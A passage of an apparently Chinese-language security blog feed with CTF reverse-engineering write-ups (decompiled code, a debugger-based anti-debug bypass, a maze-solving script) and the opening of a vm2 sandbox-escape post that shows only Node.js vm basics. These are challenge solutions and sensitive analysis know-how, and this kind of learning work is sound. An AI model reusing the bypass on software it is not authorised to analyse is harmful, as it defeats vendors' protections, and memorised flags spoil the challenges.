class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> setlocale(<span class="number">6</span>, &locale);</span><br><span class="line"> banner();</span><br><span class="line"> prompt_authentication();</span><br><span class="line"> authenticate();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li><code>authenticate()</code>是核心</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">authenticate</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> ws[<span class="number">8192</span>]; <span class="comment">// [esp+1Ch] [ebp-800Ch]</span></span><br><span class="line"> <span class="keyword">wchar_t</span> *s2; <span class="comment">// [esp+801Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line"> s2 = decrypt(&s, &dword_8048A90);</span><br><span class="line"> <span class="keyword">if</span> ( fgetws(ws, <span class="number">0x2000</span>, <span class="built_in">stdin</span>) )</span><br><span class="line"> {</span><br><span class="line"> ws[wcslen(ws) - <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> ( !wcscmp(ws, s2) )</span><br><span class="line"> wprintf(&unk_8048B44);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> wprintf(&unk_8048BA4);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">free</span>(s2);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li><code>decrypt()</code>中会计算flag<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">wchar_t</span> *__cdecl <span class="title">decrypt</span><span class="params">(<span class="keyword">wchar_t</span> *s, <span class="keyword">wchar_t</span> *a2)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">size_t</span> v2; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">signed</span> <span class="keyword">int</span> v4; <span class="comment">// [esp+1Ch] [ebp-1Ch]</span></span><br><span class="line"> <span class="keyword">signed</span> <span class="keyword">int</span> i; <span class="comment">// [esp+20h] [ebp-18h]</span></span><br><span class="line"> <span class="keyword">signed</span> <span class="keyword">int</span> v6; <span class="comment">// [esp+24h] [ebp-14h]</span></span><br><span class="line"> <span class="keyword">signed</span> <span class="keyword">int</span> v7; <span class="comment">// [esp+28h] [ebp-10h]</span></span><br><span class="line"> <span class="keyword">wchar_t</span> *dest; <span class="comment">// [esp+2Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line"> v6 = wcslen(s);</span><br><span class="line"> v7 = wcslen(a2);</span><br><span class="line"> v2 = wcslen(s);</span><br><span class="line"> dest = (<span class="keyword">wchar_t</span> *)<span class="built_in">malloc</span>(v2 + <span class="number">1</span>);</span><br><span class="line"> wcscpy(dest, s);</span><br><span class="line"> <span class="keyword">while</span> ( v4 < v6 )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span> ( i = <span class="number">0</span>; i < v7 && v4 < v6; ++i )</span><br><span class="line"> dest[v4++] -= a2[i];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> dest;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li><li><code>s2 = decrypt(&s, &dword_8048A90);</code>对应的汇编是<figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">.text:</span><span class="number">08048720</span> <span class="keyword">call</span> decrypt</span><br><span class="line"><span class="symbol">.text:</span><span class="number">08048725</span> <span class="keyword">mov</span> [<span class="built_in">ebp</span>+s2], <span class="built_in">eax</span></span><br></pre></td></tr></table></figure></li></ul><p>gdb 断在0x8048725<br><img src="/images/no_strings_attach2.JPG" alt=""></p><p>可以看到eax存储的是一个地址,该地址存储了一个以9开头的字符串,查看该地址即可得到flag</p><p><img src="/images/no_strings_attach3.JPG" alt=""></p><h1 id="csaw2013reversing2"><a href="#csaw2013reversing2" class="headerlink" title="csaw2013reversing2"></a>csaw2013reversing2</h1><p>运行会出现乱码<br><img src="/images/csaw2013reversing2_1.JPG" alt=""></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl __noreturn <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> v3; <span class="comment">// ecx</span></span><br><span class="line"> CHAR *lpMem; <span class="comment">// [esp+8h] [ebp-Ch]</span></span><br><span class="line"> HANDLE hHeap; <span class="comment">// [esp+10h] [ebp-4h]</span></span><br><span class="line"></span><br><span class="line"> hHeap = HeapCreate(<span class="number">0x40000</span>u, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"> lpMem = (CHAR *)HeapAlloc(hHeap, <span class="number">8u</span>, MaxCount + <span class="number">1</span>);</span><br><span class="line"> memcpy_s(lpMem, MaxCount, &unk_409B10, MaxCount);</span><br><span class="line"> <span class="keyword">if</span> ( sub_40102A() || IsDebuggerPresent() )</span><br><span class="line"> {</span><br><span class="line"> __debugbreak();</span><br><span class="line"> sub_401000(v3 + <span class="number">4</span>, (<span class="keyword">int</span>)lpMem);</span><br><span class="line"> ExitProcess(<span class="number">0xFFFFFFFF</span>);</span><br><span class="line"> }</span><br><span class="line"> MessageBoxA(<span class="number">0</span>, lpMem + <span class="number">1</span>, <span class="string">"Flag"</span>, <span class="number">2u</span>);</span><br><span class="line"> HeapFree(hHeap, <span class="number">0</span>, lpMem);</span><br><span class="line"> HeapDestroy(hHeap);</span><br><span class="line"> ExitProcess(<span class="number">0</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li>这里会通过<code>IsDebuggerPresent()</code>判断是否为调试器运行,正常运行就显示上面乱码的窗口</li><li><code>sub_401000(v3 + 4, (int)lpMem)</code>将乱码转换为flag<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> __fastcall <span class="title">sub_401000</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">int</span> a2)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> v2; <span class="comment">// esi</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> v3; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> v4; <span class="comment">// ecx</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line"> v2 = dword_409B38;</span><br><span class="line"> v3 = a2 + <span class="number">1</span> + <span class="built_in">strlen</span>((<span class="keyword">const</span> <span class="keyword">char</span> *)(a2 + <span class="number">1</span>)) + <span class="number">1</span>;</span><br><span class="line"> v4 = <span class="number">0</span>;</span><br><span class="line"> result = ((v3 - (a2 + <span class="number">2</span>)) >> <span class="number">2</span>) + <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> ( result )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">do</span></span><br><span class="line"> *(_DWORD *)(a2 + <span class="number">4</span> * v4++) ^= v2;</span><br><span class="line"> <span class="keyword">while</span> ( v4 < result );</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>那么尝试x64dbg跟进去</li></ul><p><img src="/images/csaw2013reversing2_2.JPG" alt=""></p><p>这里的<code>int3</code>应该对应于ida反汇编出的<code>__debugbreak();</code>,会使程序在这里死循环,改成nop即可</p><p>运行完<code>sub_401000</code>得到flag<br><img src="/images/csaw2013reversing2_3.JPG" alt=""></p><p>实际上一进到<code>sub_401000</code> x64dbg就在第三行的注释那里显示了flag…但是跟一下程序逻辑会发现flag是在后面0x0040101F的循环中计算并写入0x23d05c9的(这个地址是堆的地址,每次都不同),看起来是x64dbg提前计算了出来?</p><h1 id="maze"><a href="#maze" class="headerlink" title="maze"></a>maze</h1><p>迷宫问题</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">main</span><span class="params">(__int64 a1, <span class="keyword">char</span> **a2, <span class="keyword">char</span> **a3)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">signed</span> __int64 i; <span class="comment">// rbx</span></span><br><span class="line"> <span class="keyword">signed</span> <span class="keyword">int</span> v4; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">bool</span> status; <span class="comment">// bp</span></span><br><span class="line"> <span class="keyword">bool</span> result; <span class="comment">// al</span></span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span> *v7; <span class="comment">// rdi</span></span><br><span class="line"> __int64 v9; <span class="comment">// [rsp+0h] [rbp-28h]</span></span><br><span class="line"></span><br><span class="line"> v9 = <span class="number">0L</span>L;</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Input flag:"</span>);</span><br><span class="line"> <span class="built_in">scanf</span>(<span class="string">"%s"</span>, &input, <span class="number">0L</span>L);</span><br><span class="line"> <span class="keyword">if</span> ( <span class="built_in">strlen</span>(&input) != <span class="number">24</span> || <span class="built_in">strncmp</span>(&input, <span class="string">"nctf{"</span>, <span class="number">5u</span>LL) || *(&byte_6010BF + <span class="number">24</span>) != <span class="string">'}'</span> )</span><br><span class="line"> {</span><br><span class="line">WRONG_FLAG:</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Wrong flag!"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> i = <span class="number">5L</span>L;</span><br><span class="line"> <span class="keyword">if</span> ( <span class="built_in">strlen</span>(&input) - <span class="number">1</span> > <span class="number">5</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> v4 = *(&input + i);</span><br><span class="line"> status = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> ( v4 > <span class="string">'N'</span> )</span><br><span class="line"> {</span><br><span class="line"> v4 = (<span class="keyword">unsigned</span> __int8)v4;</span><br><span class="line"> <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> __int8)v4 == <span class="string">'O'</span> ) <span class="comment">// 左</span></span><br><span class="line"> {</span><br><span class="line"> result = sub_400650((_DWORD *)&v9 + <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">goto</span> LABEL_14;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( v4 == <span class="string">'o'</span> ) <span class="comment">// 右</span></span><br><span class="line"> {</span><br><span class="line"> result = sub_400660((<span class="keyword">int</span> *)&v9 + <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">goto</span> LABEL_14;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> v4 = (<span class="keyword">unsigned</span> __int8)v4;</span><br><span class="line"> <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> __int8)v4 == <span class="string">'.'</span> ) <span class="comment">// 上</span></span><br><span class="line"> {</span><br><span class="line"> result = sub_400670(&v9);</span><br><span class="line"> <span class="keyword">goto</span> LABEL_14;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( v4 == <span class="string">'0'</span> ) <span class="comment">// 下</span></span><br><span class="line"> {</span><br><span class="line"> result = sub_400680((<span class="keyword">int</span> *)&v9);</span><br><span class="line">LABEL_14:</span><br><span class="line"> status = result;</span><br><span class="line"> <span class="keyword">goto</span> LABEL_15;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">LABEL_15:</span><br><span class="line"> <span class="keyword">if</span> ( !(<span class="keyword">unsigned</span> __int8)check((__int64)maze, SHIDWORD(v9), v9) )<span class="comment">// 检查是否走到了*上</span></span><br><span class="line"> <span class="keyword">goto</span> WRONG_FLAG;</span><br><span class="line"> <span class="keyword">if</span> ( ++i >= <span class="built_in">strlen</span>(&input) - <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( status ) <span class="comment">// 检查是否越界</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">WRONG_FLAG2:</span><br><span class="line"> v7 = <span class="string">"Wrong flag!"</span>;</span><br><span class="line"> <span class="keyword">goto</span> <span class="literal">OUTPUT</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( maze[<span class="number">8</span> * (<span class="keyword">signed</span> <span class="keyword">int</span>)v9 + SHIDWORD(v9)] != <span class="string">'#'</span> )<span class="comment">// 检查是否到达终点</span></span><br><span class="line"> <span class="keyword">goto</span> WRONG_FLAG2;</span><br><span class="line"> v7 = <span class="string">"Congratulations!"</span>;</span><br><span class="line"><span class="literal">OUTPUT</span>:</span><br><span class="line"> <span class="built_in">puts</span>(v7);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0L</span>L;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li><code>asc_601060</code>用字符串表示了一个8x8迷宫<figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">db</span> <span class="string">' ******* * **** * **** * *** *# *** *** *** *********'</span>,<span class="number">0</span></span><br></pre></td></tr></table></figure>转换成8x8迷宫<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">maze = <span class="string">" ******* * **** * **** * *** *# *** *** *** *********"</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">64</span>):</span><br><span class="line"> <span class="keyword">if</span> i%<span class="number">8</span>==<span class="number">0</span>:</span><br><span class="line"> print(<span class="string">"\n"</span>)</span><br><span class="line"> <span class="keyword">if</span> maze[i]==<span class="string">' '</span>:</span><br><span class="line"> print(<span class="string">'0'</span>,end=<span class="string">''</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> print(maze[i],end=<span class="string">''</span>)</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">00******</span><br><span class="line">*000*00*</span><br><span class="line">***0*0**</span><br><span class="line">**00*0**</span><br><span class="line">*00*#00*</span><br><span class="line">**0***0*</span><br><span class="line">**00000*</span><br><span class="line">********</span><br></pre></td></tr></table></figure></li><li><code>v9</code>表示当前所处位置,<code>(int *)&v9</code>是行,<code>(int *)&v9 + 1</code>和<code>HIDWORD(v9)</code>是列</li></ul><p>其中<code>SHIDWORD</code>是ida逆向常用的宏,定义为</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SHIDWORD(x) (*((int32*)&(x)+1))</span></span><br></pre></td></tr></table></figure><ul><li>最后把迷宫的走法转成对应的字符就可以得到flag<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">str = <span class="string">"右下右右下下左下下下右右右右上上左左"</span></span><br><span class="line">str = str.replace(<span class="string">'上'</span>, <span class="string">'.'</span>)</span><br><span class="line">str = str.replace(<span class="string">'下'</span>, <span class="string">'0'</span>)</span><br><span class="line">str = str.replace(<span class="string">'左'</span>, <span class="string">'O'</span>)</span><br><span class="line">str = str.replace(<span class="string">'右'</span>, <span class="string">'o'</span>)</span><br><span class="line"></span><br><span class="line">str = <span class="string">'nctf{'</span> + str + <span class="string">'}'</span></span><br><span class="line"></span><br><span class="line">print(str)</span><br></pre></td></tr></table></figure></li></ul>]]></content>
<summary type="html">
<p>RCTF把web狗打疯了,不想学web了.jpg</p>
<p>好吧来学学逆向算了</p>
<h1 id="open-source"><a href="#open-source" class="headerlink" title="open-source"></a>open
</summary>
<category term="reverse" scheme="https://liotree.github.io/categories/reverse/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
</entry>
<entry>
<title>vm2沙盒逃逸分析</title>
<link href="https://liotree.github.io/2020/04/29/vm2%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%88%86%E6%9E%90/"/>
<id>https://liotree.github.io/2020/04/29/vm2%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%88%86%E6%9E%90/</id>
<published>2020-04-29T12:31:43.000Z</published>
<updated>2020-05-26T02:20:44.000Z</updated>
<content type="html"><![CDATA[<p>上个月底写了一半给咕了..看到GKCTF有道题涉及到了vm,顺便放出来吧</p><p>前段时间hfctf有一道vm2沙盒逃逸的题目,于是顺便研究下vm2的实现和沙盒逃逸的原理</p><h1 id="vm"><a href="#vm" class="headerlink" title="vm"></a>vm</h1><p>vm2是基于nodejs的内置模块vm的,所以先看看vm</p><h2 id="代码示例"><a href="#代码示例" class="headerlink" title="代码示例"></a>代码示例</h2><p>vm能够在一个新的V8虚拟环境中运行代码,看一个<a href="https://nodejs.org/api/vm.html#vm_vm_executing_javascript" target="_blank" rel="noopener">文档</a>上的例子</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> vm = <span class="built_in">require</span>(<span class="string">'vm'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> x = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> context = { <span class="attr">x</span>: <span class="number">2</span> };</span><br><span class="line">vm.createContext(context); <span class="comment">// Contextify the object.</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> code = <span class="string">'x += 40; var y = 17;'</span>;</span><br><span class="line"><span class="comment">// `x` and `y` are global variables in the context.</span></span><br><span class="line"><span class="comment">// Initially, x has the value 2 because that is the value of context.x.</span></span><br><span class="line">vm.runInContext(code, context);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(context.x); <span class="comment">// 42</span></span><br><span class="line"><span class="built_in">console</span>.log(context.y); <span class="comment">// 17</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(x); <span class="comment">// 1; y is not defined.</span></span><br></pre></td></tr></table></figure><h2 id="contextify"><a href="#contextify" class="headerlink" title="contextify"></a>contextify</h2><h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><p>vm中有一个很重要的概念<a href="https://nodejs.org/api/vm.html#vm_what_does_it_mean_to_contextify_an_object" target="_blank" rel="noopener">contextify</a>,大致意思是当<code>vm.createContext()</code>被调用时,指定的<code>contextObject</code>(示例代码中的<code>context</code>)会与一个新的V8实例联系在一起,这个过程称为<strong>contextifying the object</strong></p><h3 id="具体实现"><a href="#具体实现" class="headerlink" title="具体实现"></a>具体实现</h3><p>经过测试可以发现,vm会将一个指定的对象作为新的环境的全局对象(相当于正常情况下的<code>global</code>对象),这个对象拥有<code>context</code>的所有属性,同时还自动添加了一些内置的全局变量,比如<code>Object</code>和<code>Function</code>,这些属性不会被添加到<code>context</code>上</p><p>在沙盒中可以用<code>this</code>访问该对象,手动给<code>this</code>添加的属性会被添加到<code>context</code>上</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> vm = <span class="built_in">require</span>(<span class="string">'vm'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> context = {</span><br><span class="line"> animal: <span class="string">'cat'</span>,</span><br><span class="line"> count: <span class="number">2</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> script = <span class="keyword">new</span> vm.Script(<span class="string">`this.test=123;this`</span>); <span class="comment">//手动给this添加属性,返回this</span></span><br><span class="line">vm.createContext(context);</span><br><span class="line"><span class="keyword">var</span> result = script.runInContext(context);</span><br><span class="line"><span class="built_in">console</span>.log(result == context); <span class="comment">//false,两者不是同一对象</span></span><br><span class="line"><span class="built_in">console</span>.log(<span class="built_in">Reflect</span>.ownKeys(context)); <span class="comment">//[ 'animal', 'count', 'test' ] 手动给this添加的属性也会被添加到context上</span></span><br><span class="line"><span class="built_in">console</span>.log(<span class="built_in">Reflect</span>.ownKeys(result)); <span class="comment">//自动添加的属性都是不可枚举属性,需要用Reflect.ownKeys取出,这些属性不会被添加到context上</span></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">[ 'animal',</span></span><br><span class="line"><span class="comment"> 'count',</span></span><br><span class="line"><span class="comment"> 'Object',</span></span><br><span class="line"><span class="comment"> 'Function',</span></span><br><span class="line"><span class="comment"> 'Array',</span></span><br><span class="line"><span class="comment"> 'Number',</span></span><br><span class="line"><span class="comment"> 'parseFloat',</span></span><br><span class="line"><span class="comment"> 'parseInt',</span></span><br><span class="line"><span class="comment"> 'Infinity',</span></span><br><span class="line"><span class="comment"> 'NaN',</span></span><br><span class="line"><span class="comment"> 'undefined',</span></span><br><span class="line"><span class="comment"> 'Boolean',</span></span><br><span class="line"><span class="comment"> 'String',</span></span><br><span class="line"><span class="comment"> 'Symbol',</span></span><br><span class="line"><span class="comment"> 'Date',</span></span><br><span class="line"><span class="comment"> 'Promise',</span></span><br><span class="line"><span class="comment"> 'RegExp',</span></span><br><span class="line"><span class="comment"> 'Error',</span></span><br><span class="line"><span class="comment"> 'EvalError',</span></span><br><span class="line"><span class="comment"> 'RangeError',</span></span><br><span class="line"><span class="comment"> 'ReferenceError',</span></span><br><span class="line"><span class="comment"> 'SyntaxError',</span></span><br><span class="line"><span class="comment"> 'TypeError',</span></span><br><span class="line"><span class="comment"> 'URIError',</span></span><br><span class="line"><span class="comment"> 'JSON',</span></span><br><span class="line"><span class="comment"> 'Math',</span></span><br><span class="line"><span class="comment"> 'console',</span></span><br><span class="line"><span class="comment"> 'Intl',</span></span><br><span class="line"><span class="comment"> 'ArrayBuffer',</span></span><br><span class="line"><span class="comment"> 'Uint8Array',</span></span><br><span class="line"><span class="comment"> 'Int8Array',</span></span><br><span class="line"><span class="comment"> 'Uint16Array',</span></span><br><span class="line"><span class="comment"> 'Int16Array',</span></span><br><span class="line"><span class="comment"> 'Uint32Array',</span></span><br><span class="line"><span class="comment"> 'Int32Array',</span></span><br><span class="line"><span class="comment"> 'Float32Array',</span></span><br><span class="line"><span class="comment"> 'Float64Array',</span></span><br><span class="line"><span class="comment"> 'Uint8ClampedArray',</span></span><br><span class="line"><span class="comment"> 'BigUint64Array',</span></span><br><span class="line"><span class="comment"> 'BigInt64Array',</span></span><br><span class="line"><span class="comment"> 'DataView',</span></span><br><span class="line"><span class="comment"> 'Map',</span></span><br><span class="line"><span class="comment"> 'Set',</span></span><br><span class="line"><span class="comment"> 'WeakMap',</span></span><br><span class="line"><span class="comment"> 'WeakSet',</span></span><br><span class="line"><span class="comment"> 'Proxy',</span></span><br><span class="line"><span class="comment"> 'Reflect',</span></span><br><span class="line"><span class="comment"> 'decodeURI',</span></span><br><span class="line"><span class="comment"> 'decodeURIComponent',</span></span><br><span class="line"><span class="comment"> 'encodeURI',</span></span><br><span class="line"><span class="comment"> 'encodeURIComponent',</span></span><br><span class="line"><span 